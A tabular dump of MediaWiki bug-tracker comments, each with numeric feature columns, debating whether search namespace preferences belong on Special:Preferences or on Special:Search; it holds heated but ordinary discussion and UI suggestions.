257413,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","My complaint has ""never"" been about any checkbox, but the removal of Preferences.",,,1402252214,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.9411764705882353,"My complaint has ""never"" been about any checkbox, but the removal of Preferences."
257410,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",So much drama about a single checkbox… get me out of here.,,,1402251490,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.357142857142857,1.0,So much drama about a single checkbox… get me out of here.
257404,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","No, I won't sit down, shut up and enjoy the ride.

Really, most other places require consensus and consultation for change. I believe that Erik himself said that in edits relating to Flow. Something along the lines of 

<quote>... We do strive to communicate, solve problems real users have, and resolve conflicts, especially if there are major points of contention. What are the material issues with the deploy at this time?</quote>

So you have
* major points of contention
* no evidence that this fix actually a major point of contention
* communication in a newsletter that points here, but you are not prepared to listen or discuss
* no attempt to resolve a conflict
* a merged change that is predicted to take place where no consultation has taken place
* an opportunity to address matters raised prior to a deployment

Have I missed something from that little list?

Seems more than a technical fix. It appears to be a change planned to be implemented and you are not allowing broader discussion, or the base challenge to your assumptions. The points have been raised, and yet you forge ahead with your decision without an attempt at consensus, or some conciliation. And the history of bugs is that they are discussed in situ, not fobbed off somewhere else where you can ignore them in all their glory.

I would think that it would actually be incumbent on you, those bringing the change forward to mediawiki, to propose and discuss that merged change. But no, instead we hide behind the ""technical"" barrier. Then expect others to go somewhere and complain ""I don't like it."" Grow up. The mature adult thing is for me to bring concerns here, to have them reasonably listened to, and to see if we can have a compromise. Seems that the mature approach is not suitable.

If you want that change, you take it out and propose it and defend it. You have identified where it should be discussed, so I look forward to seeing it there. That is basically what I said at the beginning.

If I don't see it there, then I feel that I am justified in reopening this bug until there is what I consider some reasonable conversation about this bug, and means to explore the matters raised.",,,1402251279,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.6,0.4,0.0,1.2,1.4,3.6,1.4,0.0,0.0,0.8,1.2,0.6,0.0,0.0,0.4,3.2,0.0,6.8,12.2,0.4,2.6,0.2,0.0,0.0,0.6,0.4,0.0,0.4,0.4,0.4,0.2,7.2,2.0,2.0,0.8,2.2,0.6,0.0,0.6,1.2,0.6,1.0,0.0,2.6,0.0,0.2,0.2,0.4,1.0,10.2,0.8,1.2,0.2,0.8,0.0,0.4,0.0,0.8,1.2,0.0,0.0,1.0,0.0,0.6,0.2,0.4,0.0,4.6,3.4,6.8,2.8,3.4,7.8,0.0,0.0,0.0,0.0,6.8,0.4,0.0,0.0,8.6,12.2,0.6,0.2,0.8,0.0,8.6,0.0,1.6,2.0,0.8,1.0,0.4,0.2,0.8,4.024044943820225,0.7103370786516855,"No, I won't sit down, shut up and enjoy the ride.

Really, most other places require consensus and consultation for change. I believe that Erik himself said that in edits relating to Flow. Something along the lines of 

<quote>... We do strive to communicate, solve problems real users have, and resolve conflicts, especially if there are major points of contention. What are the material issues with the deploy at this time?</quote>

So you have
* major points of contention
* no evidence that this fix actually a major point of contention
* communication in a newsletter that points here, but you are not prepared to listen or discuss
* no attempt to resolve a conflict
* a merged change that is predicted to take place where no consultation has taken place
* an opportunity to address matters raised prior to a deployment

Have I missed something from that little list?

Seems more than a technical fix. It appears to be a change planned to be implemented and you are not allowing broader discussion, or the base challenge to your assumptions. The points have been raised, and yet you forge ahead with your decision without an attempt at consensus, or some conciliation. And the history of bugs is that they are discussed in situ, not fobbed off somewhere else where you can ignore them in all their glory.

I would think that it would actually be incumbent on you, those bringing the change forward to mediawiki, to propose and discuss that merged change. But no, instead we hide behind the ""technical"" barrier. Then expect others to go somewhere and complain ""I don't like it."" Grow up. The mature adult thing is for me to bring concerns here, to have them reasonably listened to, and to see if we can have a compromise. Seems that the mature approach is not suitable.

If you want that change, you take it out and propose it and defend it. You have identified where it should be discussed, so I look forward to seeing it there. That is basically what I said at the beginning.

If I don't see it there, then I feel that I am justified in reopening this bug until there is what I consider some reasonable conversation about this bug, and means to explore the matters raised."
257398,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #48)

This bug is technically fixed: Advanced options preferences are now handled on Special:Search itself, which is the topic of this bug, so please stop reopening it. Also, a ""resolved"" status doesn't prevent you from commenting. If you detect flaws on the implementation, feel free to open a *new* bug describing the problems of this implementation (see [1]).

I'd suggest you to raise your concerns in a mailing list (mediawiki-l seems to be the the best one for your concerns) [2]. Your message will be received by more people that can share their point of view about this, while your messages on this bug report are being received by the same developers that were involved in it. Feel free to put here a link to the discussion on the mailing list if you decide to start a discussion there.

----

[1] https://www.mediawiki.org/wiki/How_to_report_a_bug
[2] https://www.mediawiki.org/wiki/Mailing_lists",,,1402249236,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,3.0,0.5,5.0,1.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.5,1.0,3.5,13.5,0.0,2.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.5,4.5,2.0,1.5,2.5,4.0,0.5,0.5,0.0,1.5,0.0,0.5,0.5,3.0,1.5,0.0,0.0,1.0,0.0,15.5,0.5,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,6.5,4.0,6.0,1.5,0.0,9.5,0.0,0.0,0.0,0.5,6.0,0.5,3.0,0.0,6.5,13.5,1.0,0.0,1.0,0.0,6.5,0.0,1.5,2.5,0.5,1.5,0.5,0.5,1.5,3.7135416666666665,0.7135416666666666,"(In reply to billinghurst from comment #48)

This bug is technically fixed: Advanced options preferences are now handled on Special:Search itself, which is the topic of this bug, so please stop reopening it. Also, a ""resolved"" status doesn't prevent you from commenting. If you detect flaws on the implementation, feel free to open a *new* bug describing the problems of this implementation (see [1]).

I'd suggest you to raise your concerns in a mailing list (mediawiki-l seems to be the the best one for your concerns) [2]. Your message will be received by more people that can share their point of view about this, while your messages on this bug report are being received by the same developers that were involved in it. Feel free to put here a link to the discussion on the mailing list if you decide to start a discussion there.

----

[1] URL
[2] URL"
257391,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I am sorry, that is a typical dismissive response, and pretty unhelpful.  I don't see the issues raised addresses by the bugzilla.

BTW no one made you the decision maker, and as it is your code I would think a little less CoI, and some more communication would be preferable.",,,1402245055,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,2.0,0.0,0.0,0.0,2.0,13.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,8.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.8,0.7666666666666667,"I am sorry, that is a typical dismissive response, and pretty unhelpful.  I don't see the issues raised addresses by the bugzilla.

BTW no one made you the decision maker, and as it is your code I would think a little less CoI, and some more communication would be preferable."
257384,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Quiddity from comment #40)
> I think the problem with the new version, is the physical distance, or
> dis-connection, of the checkbox from the search button... 

Split to bug 66342.

(In reply to billinghurst from comment #46)
> I am wondering whether the proponents of the change have had the ability to
> review suggestions

Yes.",,,1402240628,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,8.0,0.0,0.0,18.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.5263157894736842,"(In reply to Quiddity from comment #40)
QUOTE
QUOTE

Split to bug 66342.

(In reply to billinghurst from comment #46)
QUOTE
QUOTE

Yes."
257379,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I am wondering whether the proponents of the change have had the ability to review suggestions made by people who are not in favour of the holistic change and may be able to suggest a compromise position.

I have reopened this bug as I do not think that it should be considered fixed in light of this extra opinion.",,,1402239071,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,2.0,3.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,18.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,15.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,6.0,5.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.161290322580645,0.7580645161290323,"I am wondering whether the proponents of the change have had the ability to review suggestions made by people who are not in favour of the holistic change and may be able to suggest a compromise position.

I have reopened this bug as I do not think that it should be considered fixed in light of this extra opinion."
257374,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

(In reply to MZMcBride from comment #43)

> My gut feeling is that the real, underlying issue here is that you, me, and
> others want global (wikifarm-wide) user preferences. 

Speaking only for myself, I usually modify my search based on my involvement with the specific wiki. My search on a project I'm involved with and editing regularly usually needs the project and often the user namespaces. Ones I'm only occasionally editing need help and project namespaces. The defaults work fine on projects where I'm only a reader. It is a workflow issue.",,,1401810675,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,8.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,14.0,1.0,3.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,4.063157894736842,0.6526315789473685,"**wmf.amgine3691** wrote:

(In reply to MZMcBride from comment #43)

QUOTE
QUOTE

Speaking only for myself, I usually modify my search based on my involvement with the specific wiki. My search on a project I'm involved with and editing regularly usually needs the project and often the user namespaces. Ones I'm only occasionally editing need help and project namespaces. The defaults work fine on projects where I'm only a reader. It is a workflow issue."
257369,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","**wmf.amgine3691** wrote:

> It was 50/50 that you were going to say that. The other option was ""if it ain't > broke don't fix it"". Both are useless clichés. 

Mmm, actually the third option was ""change for the sake of change"". They are clichés because they are common, valid issues. And you have not addressed the substance of the comment.

I would suggest your response - highly defensive and dismissive - is itself a cliché of ""Dev knows best"", except I also know the reason it's a cliché is because it's often true. I'm with Quiddity, Isarra, and sDrewth: let's figure out a both-and solution, because it does not need to be either-or.",,,1401808846,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.5,0.0,1.5,4.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,5.5,8.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,8.5,2.5,3.5,1.5,1.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,5.5,4.0,6.5,3.0,4.5,5.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,8.5,8.0,3.0,0.0,2.5,0.0,8.5,0.0,0.0,2.5,1.0,0.0,0.0,1.0,0.0,3.610169491525424,0.7225988700564971,"**wmf.amgine3691** wrote:

QUOTE

Mmm, actually the third option was ""change for the sake of change"". They are clichés because they are common, valid issues. And you have not addressed the substance of the comment.

I would suggest your response - highly defensive and dismissive - is itself a cliché of ""Dev knows best"", except I also know the reason it's a cliché is because it's often true. I'm with Quiddity, Isarra, and sDrewth: let's figure out a both-and solution, because it does not need to be either-or."
257364,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to billinghurst from comment #37)
> Nobody has argued about sensible defaults, nor the ability for communities
> to be able to adjust and modify. I don't see how that introduction is
> relevant.

Amgine asked, ""Do we really want every special page to be creating and maintaining its own interface for user preferences?"" I was responding by noting that the goal is having a clean, easy-to-use user interface that uses sensible defaults. The goal is not a foolish consistency.

> In fact if you follow that logic, we are now cluttering up a search page
> with an option that is going to be used rarely or not at all, and maybe by a
> small subset of people ...  Making visible an option that is probably used
> zero times by most user, and maybe once or two by a small number of users.
> That is perverse.

Well, not quite. :-)  Rather than having this feature (the ability to customize search preferences) take up an entire Special:Preferences tab, it's now confined to a single checkbox. This seems proportionate and reasonable to me. If the feature were more important, it might make sense to give it more prominence, but I (personally) don't think it's very important.

> I have no specific issue with an improvement or option at Special:Search, my
> issue is that Preferences = Preferences and I expect to be able to go there
> and to be able to set my preferences for search.

My gut feeling is that the real, underlying issue here is that you, me, and others want global (wikifarm-wide) user preferences. In a similar vein to what I wrote in comment 35, as a user, if you're visiting Special:Preferences often, we're doing something wrong. You should only need to visit that page maybe once a year, but it sounds as though you and a few others visit it weekly or daily. (Which is not a criticism of power-users, to be clear, just a workflow observation.) I think we should focus on figuring out how to make it so that (power-)users don't need to visit Special:Preferences on every wiki in a wikifarm.",,,1401800527,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,1.0,0.25,0.25,0.0,1.5,6.5,1.75,0.0,0.25,0.5,1.75,1.0,0.0,0.25,0.0,2.75,0.5,5.25,9.75,0.25,2.0,0.5,0.25,0.0,1.0,0.5,0.0,0.0,0.25,0.0,0.0,5.0,1.25,2.25,1.25,1.0,0.25,0.25,0.5,0.25,0.0,0.0,0.5,1.0,0.0,0.25,0.0,0.25,0.25,12.5,0.5,1.0,0.25,1.0,0.25,0.0,0.0,0.0,0.25,0.0,0.25,1.0,0.0,0.5,0.0,0.25,0.0,4.25,2.5,8.5,2.5,2.0,6.0,0.0,0.25,0.0,0.25,4.0,0.0,0.5,0.0,6.0,9.75,2.25,0.25,0.5,0.0,6.0,0.0,1.25,3.0,0.5,2.25,0.5,0.0,0.0,3.773101898101898,0.7605727605727607,"(In reply to billinghurst from comment #37)
QUOTE
QUOTE
QUOTE

Amgine asked, ""Do we really want every special page to be creating and maintaining its own interface for user preferences?"" I was responding by noting that the goal is having a clean, easy-to-use user interface that uses sensible defaults. The goal is not a foolish consistency.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, not quite. :-)  Rather than having this feature (the ability to customize search preferences) take up an entire Special:Preferences tab, it's now confined to a single checkbox. This seems proportionate and reasonable to me. If the feature were more important, it might make sense to give it more prominence, but I (personally) don't think it's very important.

QUOTE
QUOTE
QUOTE

My gut feeling is that the real, underlying issue here is that you, me, and others want global (wikifarm-wide) user preferences. In a similar vein to what I wrote in comment 35, as a user, if you're visiting Special:Preferences often, we're doing something wrong. You should only need to visit that page maybe once a year, but it sounds as though you and a few others visit it weekly or daily. (Which is not a criticism of power-users, to be clear, just a workflow observation.) I think we should focus on figuring out how to make it so that (power-)users don't need to visit Special:Preferences on every wiki in a wikifarm."
257360,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Quiddity from bug 52817 comment #40)
> Searching for help documentation is HELL unless we add the Wikipedia: ,
> Help: , and Template: namespaces to our default search. For the first few
> years as a new editor, I was constantly searching those namespaces for tools
> and guides. (Note that the Template: and Category: namespaces aren't
> included in the ""Help and Project pages"" output)

I guess this is an answer to:

(In reply to MZMcBride from bug 52817 comment #35)
> If many users are customizing their search settings, we're doing something
> wrong.

Split to bug 66066.",,,1401788398,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,9.0,0.0,2.0,15.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1481481481481484,0.5,"(In reply to Quiddity from bug 52817 comment #40)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I guess this is an answer to:

(In reply to MZMcBride from bug 52817 comment #35)
QUOTE
QUOTE

Split to bug 66066."
257356,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to Quiddity from comment #40)
> I'm surprised that we don't already have a link to
> [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at
> [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so
> long?!  Forest, trees.

That's a very good point, and I've just made it happen on en.wp.",,,1401787806,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.8333333333333334,"(In reply to Quiddity from comment #40)
QUOTE
QUOTE
QUOTE
QUOTE

That's a very good point, and I've just made it happen on en.wp."
568775,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I fall right in the middle of this disagreement. Here's some notes, and an idea.

There are good reasons to have the search-option-preferences in both locations (eg. easier-discoverability for newcomers, familiarity for oldtimers), 
and there are good reasons to centralize/unduplicate at a single location (with Special:Search->Advanced being the reasonable contender because the options-list *has* to appear there).

We do need easy-discoverability for newcomers. 
Searching for help documentation is HELL unless we add the Wikipedia: , Help: , and Template: namespaces to our default search. For the first few years as a new editor, I was constantly searching those namespaces for tools and guides. (Note that the Template: and Category: namespaces aren't included in the ""Help and Project pages"" output)

I'm surprised that we don't already have a link to [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so long?!  Forest, trees.

I do also prefer the simple process for ""Save"" at Special:Preferences. It's not perfect (see {T57966}), but it's fairly intuitive. 
The new system isn't intuitive. (It makes sense once explained, but an explanation is needed...)
I think the problem with the new version, is the physical distance, or dis-connection, of the checkbox from the search button... 


So, 2 fuzzy/rough suggestions:

A) Add a new Blue ""Save selection as my default, and Search"" button, at the advanced-search tab, instead of the new ""Remember selection for future searches"" checkbox line. 

B) leave the ""Search"" tab at Special:Preferences, but 
B.1) just link to Special:Search->Advanced from within it.   
B.2) Or, when clicked, have it open Special:Search->Advanced in a new tab/window.   (New tab, because the user might have other unsaved preference-changes, so we can't change the current page. (cf. {T57966}))  
Either of these would solve the issues of discoverability and change-aversion.  Yes, it'll still leave an annoyingly almost-empty tab, but it's *way* better than the current/old layout, ie. comment #0

--

All 4 links, for your quick comparison:
https://en.wikipedia.org/wiki/Special:Preferences#mw-prefsection-searchoptions
https://en.wikipedia.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced
http://en.wikipedia.beta.wmflabs.org/wiki/Special:Preferences
http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced",,,1448489786,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,125,,0.5,0.0,0.0,0.3333333333333333,0.8333333333333334,6.0,0.5,0.3333333333333333,0.0,0.16666666666666666,1.3333333333333333,1.0,0.0,0.16666666666666666,0.3333333333333333,2.0,0.0,4.5,7.5,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,3.8333333333333335,1.3333333333333333,1.1666666666666667,0.6666666666666666,0.16666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,0.16666666666666666,3.5,0.0,0.0,0.0,0.0,0.16666666666666666,12.333333333333334,0.3333333333333333,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.0,0.0,0.16666666666666666,0.0,0.8333333333333334,0.0,0.16666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.5,10.5,1.3333333333333333,2.8333333333333335,6.333333333333333,0.0,0.0,0.3333333333333333,0.16666666666666666,3.1666666666666665,0.16666666666666666,0.5,0.0,3.5,7.5,4.166666666666667,0.16666666666666666,1.6666666666666667,0.0,3.5,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.8333333333333334,3.7123015873015874,0.7222222222222223,"I fall right in the middle of this disagreement. Here's some notes, and an idea.

There are good reasons to have the search-option-preferences in both locations (eg. easier-discoverability for newcomers, familiarity for oldtimers), 
and there are good reasons to centralize/unduplicate at a single location (with Special:Search->Advanced being the reasonable contender because the options-list *has* to appear there).

We do need easy-discoverability for newcomers. 
Searching for help documentation is HELL unless we add the Wikipedia: , Help: , and Template: namespaces to our default search. For the first few years as a new editor, I was constantly searching those namespaces for tools and guides. (Note that the Template: and Category: namespaces aren't included in the ""Help and Project pages"" output)

I'm surprised that we don't already have a link to [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so long?!  Forest, trees.

I do also prefer the simple process for ""Save"" at Special:Preferences. It's not perfect (see {T57966}), but it's fairly intuitive. 
The new system isn't intuitive. (It makes sense once explained, but an explanation is needed...)
I think the problem with the new version, is the physical distance, or dis-connection, of the checkbox from the search button... 


So, 2 fuzzy/rough suggestions:

A) Add a new Blue ""Save selection as my default, and Search"" button, at the advanced-search tab, instead of the new ""Remember selection for future searches"" checkbox line. 

B) leave the ""Search"" tab at Special:Preferences, but 
B.1) just link to Special:Search->Advanced from within it.   
B.2) Or, when clicked, have it open Special:Search->Advanced in a new tab/window.   (New tab, because the user might have other unsaved preference-changes, so we can't change the current page. (cf. {T57966}))  
Either of these would solve the issues of discoverability and change-aversion.  Yes, it'll still leave an annoyingly almost-empty tab, but it's *way* better than the current/old layout, ie. comment #0

--

All 4 links, for your quick comparison:
URL
URL
URL
URL"
257352,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","I fall right in the middle of this disagreement. Here's some notes, and an idea.

There are good reasons to have the search-option-preferences in both locations (eg. easier-discoverability for newcomers, familiarity for oldtimers), 
and there are good reasons to centralize/unduplicate at a single location (with Special:Search->Advanced being the reasonable contender because the options-list *has* to appear there).

We do need easy-discoverability for newcomers. 
Searching for help documentation is HELL unless we add the Wikipedia: , Help: , and Template: namespaces to our default search. For the first few years as a new editor, I was constantly searching those namespaces for tools and guides. (Note that the Template: and Category: namespaces aren't included in the ""Help and Project pages"" output)

I'm surprised that we don't already have a link to [[Special:Preferences#mw-prefsection-searchoptions]] anywhere at [[Special:Search]] (advanced tab or otherwise)! How did we miss that, for so long?!  Forest, trees.

I do also prefer the simple process for ""Save"" at Special:Preferences. It's not perfect (see bug 55966), but it's fairly intuitive. 
The new system isn't intuitive. (It makes sense once explained, but an explanation is needed...)
I think the problem with the new version, is the physical distance, or dis-connection, of the checkbox from the search button... 


So, 2 fuzzy/rough suggestions:

A) Add a new Blue ""Save selection as my default, and Search"" button, at the advanced-search tab, instead of the new ""Remember selection for future searches"" checkbox line. 

B) leave the ""Search"" tab at Special:Preferences, but 
B.1) just link to Special:Search->Advanced from within it.   
B.2) Or, when clicked, have it open Special:Search->Advanced in a new tab/window.   (New tab, because the user might have other unsaved preference-changes, so we can't change the current page. (cf. bug 55966))  
Either of these would solve the issues of discoverability and change-aversion.  Yes, it'll still leave an annoyingly almost-empty tab, but it's *way* better than the current/old layout, ie. comment #0

--

All 4 links, for your quick comparison:
https://en.wikipedia.org/wiki/Special:Preferences#mw-prefsection-searchoptions
https://en.wikipedia.org/w/index.php?title=Special:Search&search=&fulltext=Search&profile=advanced
http://en.wikipedia.beta.wmflabs.org/wiki/Special:Preferences
